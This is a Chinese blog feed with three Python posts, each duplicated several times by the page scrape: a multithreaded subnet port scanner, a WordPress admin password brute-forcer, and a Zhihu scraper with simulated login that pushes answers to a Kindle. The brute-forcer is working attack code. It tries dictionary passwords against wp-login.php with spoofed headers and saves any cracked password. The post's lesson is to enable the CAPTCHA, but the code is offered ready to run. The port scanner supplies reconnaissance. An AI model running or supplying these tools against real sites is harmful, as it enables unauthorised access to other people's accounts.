通知设置 新通知
python 多线程扫描开放端口
低调的哥哥 发表了文章 • 0 个评论 • 12056 次浏览 • 2016-05-15 21:15
为什么说python是黑客的语言？ 因为很多扫描+破解的任务都可以用python很快的实现，简洁明了。且有大量的库来支持。import socket,sys
import time
from thread_test import MyThread
socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间，超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num
def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False
def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)
if len(sys.argv)<3:
print "input ip and port"
exit()
ip_head=sys.argv[1]
port=int(sys.argv[2])
ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)
threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞，防止主线程退出了，其他的多线程还在运行
print "*****end*****"多线程的类函数实现： 有一些测试函数在上面没注释或者删除掉，为了让一些初学者更加容易看懂。import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()
def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()
class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result
def run(self):
self.result=apply(self.fun,self.arg)
def getResult(self):
return self.result
def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)
def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)
def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)
def single_thread():
print fib(12)
print sum(12)
print fab(12)
def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()
for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()
最终运行的格式就是 python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器，也就是ssh服务。
github：https://github.com/Rockyzsu/scan_host
查看全部
import time
from thread_test import MyThread
socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间，超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num
def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False
def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)
if len(sys.argv)<3:
print "input ip and port"
exit()
ip_head=sys.argv[1]
port=int(sys.argv[2])
ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)
threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞，防止主线程退出了，其他的多线程还在运行
print "*****end*****"多线程的类函数实现： 有一些测试函数在上面没注释或者删除掉，为了让一些初学者更加容易看懂。import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()
def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()
class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result
def run(self):
self.result=apply(self.fun,self.arg)
def getResult(self):
return self.result
def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)
def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)
def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)
def single_thread():
print fib(12)
print sum(12)
print fab(12)
def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()
for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()
最终运行的格式就是 python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器，也就是ssh服务。
github：https://github.com/Rockyzsu/scan_host
查看全部
为什么说python是黑客的语言？ 因为很多扫描+破解的任务都可以用python很快的实现，简洁明了。且有大量的库来支持。
最终运行的格式就是 python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器，也就是ssh服务。
github：https://github.com/Rockyzsu/scan_host
import socket,sys多线程的类函数实现： 有一些测试函数在上面没注释或者删除掉，为了让一些初学者更加容易看懂。
import time
from thread_test import MyThread
socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间，超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num
def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False
def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)
if len(sys.argv)<3:
print "input ip and port"
exit()
ip_head=sys.argv[1]
port=int(sys.argv[2])
ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)
threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞，防止主线程退出了，其他的多线程还在运行
print "*****end*****"
import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()
def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()
class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result
def run(self):
self.result=apply(self.fun,self.arg)
def getResult(self):
return self.result
def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)
def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)
def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)
def single_thread():
print fib(12)
print sum(12)
print fab(12)
def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()
for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()
最终运行的格式就是 python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器，也就是ssh服务。
github：https://github.com/Rockyzsu/scan_host
python 暴力破解wordpress博客后台登陆密码
python爬虫 • 低调的哥哥 发表了文章 • 0 个评论 • 26373 次浏览 • 2016-05-13 17:49
自己曾经折腾过一阵子wordpress的博客，说实话，wordpress在博客系统里面算是功能很强大的了，没有之一。
不过用wordpress的朋友可能都是贪图方便，很多设置都使用的默认，我之前使用的某一个wordpress版本中，它的后台没有任何干扰的验证码（因为它默认给用户关闭了，需要自己去后台开启，一般用户是使用缺省设置）。
所以只要使用python+urllib库，就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
所以以后用wordpress的博客用户，平时还是把图片验证码的功能开启，怎样安全性会高很多。（其实python也带有一个破解一个验证码的库 - 。-！）# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys
class wordpress():
def __init__(self, host, username):
#初始化定义 header ，避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件，密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break
data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串，如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码， 则这次任务完成，退出程序
exit()
break
pwd.close()
except Exception, e:
print "error"
print e
print "Error in reading password"
if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数，为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()
github源码：https://github.com/Rockyzsu/crashWordpressPassword
查看全部
不过用wordpress的朋友可能都是贪图方便，很多设置都使用的默认，我之前使用的某一个wordpress版本中，它的后台没有任何干扰的验证码（因为它默认给用户关闭了，需要自己去后台开启，一般用户是使用缺省设置）。
所以只要使用python+urllib库，就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
所以以后用wordpress的博客用户，平时还是把图片验证码的功能开启，怎样安全性会高很多。（其实python也带有一个破解一个验证码的库 - 。-！）# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys
class wordpress():
def __init__(self, host, username):
#初始化定义 header ，避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件，密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break
data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串，如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码， 则这次任务完成，退出程序
exit()
break
pwd.close()
except Exception, e:
print "error"
print e
print "Error in reading password"
if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数，为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()
github源码：https://github.com/Rockyzsu/crashWordpressPassword
查看全部
自己曾经折腾过一阵子wordpress的博客，说实话，wordpress在博客系统里面算是功能很强大的了，没有之一。
不过用wordpress的朋友可能都是贪图方便，很多设置都使用的默认，我之前使用的某一个wordpress版本中，它的后台没有任何干扰的验证码（因为它默认给用户关闭了，需要自己去后台开启，一般用户是使用缺省设置）。
所以只要使用python+urllib库，就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
所以以后用wordpress的博客用户，平时还是把图片验证码的功能开启，怎样安全性会高很多。（其实python也带有一个破解一个验证码的库 - 。-！）
github源码：https://github.com/Rockyzsu/crashWordpressPassword
不过用wordpress的朋友可能都是贪图方便，很多设置都使用的默认，我之前使用的某一个wordpress版本中，它的后台没有任何干扰的验证码（因为它默认给用户关闭了，需要自己去后台开启，一般用户是使用缺省设置）。
所以只要使用python+urllib库，就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
所以以后用wordpress的博客用户，平时还是把图片验证码的功能开启，怎样安全性会高很多。（其实python也带有一个破解一个验证码的库 - 。-！）
# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys
class wordpress():
def __init__(self, host, username):
#初始化定义 header ，避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件，密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break
data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串，如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码， 则这次任务完成，退出程序
exit()
break
pwd.close()
except Exception, e:
print "error"
print e
print "Error in reading password"
if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数，为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()
github源码：https://github.com/Rockyzsu/crashWordpressPassword
python爬虫 模拟登陆知乎 推送知乎文章到kindle电子书 获取自己的关注问题
python爬虫 • 低调的哥哥 发表了文章 • 0 个评论 • 40404 次浏览 • 2016-05-12 17:53
平时逛知乎，上班的时候看到一些好的答案，不过由于答案太长，没来得及看完，所以自己写了个python脚本，把自己想要的答案抓取下来，并且推送到kindle上，下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来，等周末闲时看。
#2016-08-19更新：
添加了模拟登陆知乎的模块，自动获取自己的关注的问题id，然后把这些问题的所有答案抓取下来推送到kindle
# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os
from bs4 import BeautifulSoup
from email.Header import Header
reload(sys)
sys.setdefaultencoding('utf-8')
class GetContent():
def __init__(self, id):
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574
id_link = "/question/" + id
self.getAnswer(id_link)
def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()
def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)
try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码，接下来就是提取你想要的内容。 使用beautifulSoup 来处理，很方便
try:
bs = BeautifulSoup(resp)
except:
print "Beautifulsoup error"
return None
title = bs.title
# 获取的标题
filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名，因为文件名不能有一些特殊符号，所以使用正则表达式过滤掉
self.save2file(filename, title.string)
detail = bs.find("div", class_="zm-editable-content")
self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容
if detail is not None:
for i in detail.strings:
self.save2file(filename, unicode(i))
answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:
self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)
for a in each_answer.strings:
# 循环获取每一个答案的内容，然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1
smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'
# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)
# 调用发送邮件函数，把电子书发送到你的kindle用户的邮箱账号，这样你的kindle就可以收到电子书啦
print filename
class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail
# 初始化邮箱设置
def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码，当时调试了挺久的，因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)
self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()
if __name__ == "__main__":
sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)
id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574
# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)
# 调用获取函数
print "Done"
#######################################
2016.8.19 更新
添加了新功能，模拟知乎登陆，自动获取自己关注的答案，制作成电子书并且发送到kindle
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}
#全局变量
session=requests.session()
session.cookies=cookielib.LWPCookieJar(filename="cookies")
try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"
def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False
def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result
def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'
image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()
def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
content=session.post(login_url,data=data,headers=headers)
login_code=content.text
print content.status_code
#this line important ! if no status, if will fail and execute the except part
#print content.status
if content.status_code != requests.codes.ok:
print "Need to verification code !"
getCaptcha()
#print "Please input the code of the captcha"
code=raw_input("Please input the code of the captcha")
data['captcha']=code
content=session.post(login_url,data=data,headers=headers)
print content.status_code
if content.status_code==requests.codes.ok:
print "Login successful"
session.cookies.save()
#print login_code
else:
session.cookies.save()
except:
print "Error in login"
return False
def focus_question():
focus_id=
url='https://www.zhihu.com/question/following'
content=session.get(url,headers=headers)
print content
p=re.compile(r'<a class="question_link" href="/question/(\d+)" target="_blank" data-id')
id_list=p.findall(content.text)
pattern=re.compile(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>')
result=re.findall(pattern,content.text)[0]
print result
for i in id_list:
print i
focus_id.append(i)
url_next='https://www.zhihu.com/node/ProfileFollowedQuestionsV2'
page=20
offset=20
end_page=500
xsrf=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"',content.text)[0]
while offset < end_page:
#para='{"offset":20}'
#print para
print "page: %d" %offset
params={"offset":offset}
params_json=json.dumps(params)
data={
'method':'next',
'params':params_json,
'_xsrf':xsrf
}
#注意上面那里 post的data需要一个xsrf的字段，不然会返回403 的错误，这个在抓包的过程中一直都没有看到提交到xsrf，所以自己摸索出来的
offset=offset+page
headers_l={
'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com/question/following',
'User-Agent':agent,
'Origin':'https://www.zhihu.com',
'X-Requested-With':'XMLHttpRequest'
}
try:
s=session.post(url_next,data=data,headers=headers_l)
#print s.status_code
#print s.text
msgs=json.loads(s.text)
msg=msgs['msg']
for i in msg:
id_sub=re.findall(p,i)
for j in id_sub:
print j
id_list.append(j)
except:
print "Getting Error "
return id_list
def main():
if isLogin():
print "Has login"
else:
print "Need to login"
Login()
list_id=focus_question()
for i in list_id:
print i
obj=GetContent(i)
#getCaptcha()
if __name__=='__main__':
sub_folder=os.path.join(os.getcwd(),"content")
#专门用于存放下载的电子书的目录
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)
main()
完整代码请猛击这里:
github: https://github.com/Rockyzsu/zhihuToKindle
查看全部
#2016-08-19更新：
添加了模拟登陆知乎的模块，自动获取自己的关注的问题id，然后把这些问题的所有答案抓取下来推送到kindle
# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os
from bs4 import BeautifulSoup
from email.Header import Header
reload(sys)
sys.setdefaultencoding('utf-8')
class GetContent():
def __init__(self, id):
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574
id_link = "/question/" + id
self.getAnswer(id_link)
def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()
def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)
try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码，接下来就是提取你想要的内容。 使用beautifulSoup 来处理，很方便
try:
bs = BeautifulSoup(resp)
except:
print "Beautifulsoup error"
return None
title = bs.title
# 获取的标题
filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
# 用来保存内容的文件名，因为文件名不能有一些特殊符号，所以使用正则表达式过滤掉
self.save2file(filename, title.string)
detail = bs.find("div", class_="zm-editable-content")
self.save2file(filename, "\n\n\n\n--------------------Detail----------------------\n\n")
# 获取问题的补充内容
if detail is not None:
for i in detail.strings:
self.save2file(filename, unicode(i))
answer = bs.find_all("div", class_="zm-editable-content clearfix")
k = 0
index = 0
for each_answer in answer:
self.save2file(filename, "\n\n-------------------------answer %s via -------------------------\n\n" % k)
for a in each_answer.strings:
# 循环获取每一个答案的内容，然后保存到文件中
self.save2file(filename, unicode(a))
k += 1
index = index + 1
smtp_server = 'smtp.126.com'
from_mail = 'your@126.com'
password = 'yourpassword'
to_mail = 'yourname@kindle.cn'
# send_kindle=MailAtt(smtp_server,from_mail,password,to_mail)
# send_kindle.send_txt(filename)
# 调用发送邮件函数，把电子书发送到你的kindle用户的邮箱账号，这样你的kindle就可以收到电子书啦
print filename
class MailAtt():
def __init__(self, smtp_server, from_mail, password, to_mail):
self.server = smtp_server
self.username = from_mail.split("@")[0]
self.from_mail = from_mail
self.password = password
self.to_mail = to_mail
# 初始化邮箱设置
def send_txt(self, filename):
# 这里发送附件尤其要注意字符编码，当时调试了挺久的，因为收到的文件总是乱码
self.smtp = smtplib.SMTP()
self.smtp.connect(self.server)
self.smtp.login(self.username, self.password)
self.msg = MIMEMultipart()
self.msg['to'] = self.to_mail
self.msg['from'] = self.from_mail
self.msg['Subject'] = "Convert"
self.filename = filename + ".txt"
self.msg['Date'] = Utils.formatdate(localtime=1)
content = open(self.filename.decode('utf-8'), 'rb').read()
# print content
self.att = MIMEText(content, 'base64', 'utf-8')
self.att['Content-Type'] = 'application/octet-stream'
# self.att["Content-Disposition"] = "attachment;filename=\"%s\"" %(self.filename.encode('gb2312'))
self.att["Content-Disposition"] = "attachment;filename=\"%s\"" % Header(self.filename, 'gb2312')
# print self.att["Content-Disposition"]
self.msg.attach(self.att)
self.smtp.sendmail(self.msg['from'], self.msg['to'], self.msg.as_string())
self.smtp.quit()
if __name__ == "__main__":
sub_folder = os.path.join(os.getcwd(), "content")
# 专门用于存放下载的电子书的目录
if not os.path.exists(sub_folder):
os.mkdir(sub_folder)
os.chdir(sub_folder)
id = sys.argv[1]
# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574
# id_link="/question/"+id
obj = GetContent(id)
# obj.getAnswer(id_link)
# 调用获取函数
print "Done"
#######################################
2016.8.19 更新
添加了新功能，模拟知乎登陆，自动获取自己关注的答案，制作成电子书并且发送到kindle
# -*-coding=utf-8-*-
__author__ = 'Rocky'
import requests
import cookielib
import re
import json
import time
import os
from getContent import GetContent
agent='Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0'
headers={'Host':'www.zhihu.com',
'Referer':'https://www.zhihu.com',
'User-Agent':agent}
#全局变量
session=requests.session()
session.cookies=cookielib.LWPCookieJar(filename="cookies")
try:
session.cookies.load(ignore_discard=True)
except:
print "Cookie can't load"
def isLogin():
url='https://www.zhihu.com/settings/profile'
login_code=session.get(url,headers=headers,allow_redirects=False).status_code
print login_code
if login_code == 200:
return True
else:
return False
def get_xsrf():
url='http://www.zhihu.com'
r=session.get(url,headers=headers,allow_redirects=False)
txt=r.text
result=re.findall(r'<input type=\"hidden\" name=\"_xsrf\" value=\"(\w+)\"/>',txt)[0]
return result
def getCaptcha():
#r=1471341285051
r=(time.time()*1000)
url='http://www.zhihu.com/captcha.gif?r='+str(r)+'&type=login'
image=session.get(url,headers=headers)
f=open("photo.jpg",'wb')
f.write(image.content)
f.close()
def Login():
xsrf=get_xsrf()
print xsrf
print len(xsrf)
login_url='http://www.zhihu.com/login/email'
data={
'_xsrf':xsrf,
'password':'*',
'remember_me':'true',
'email':'*'
}
try:
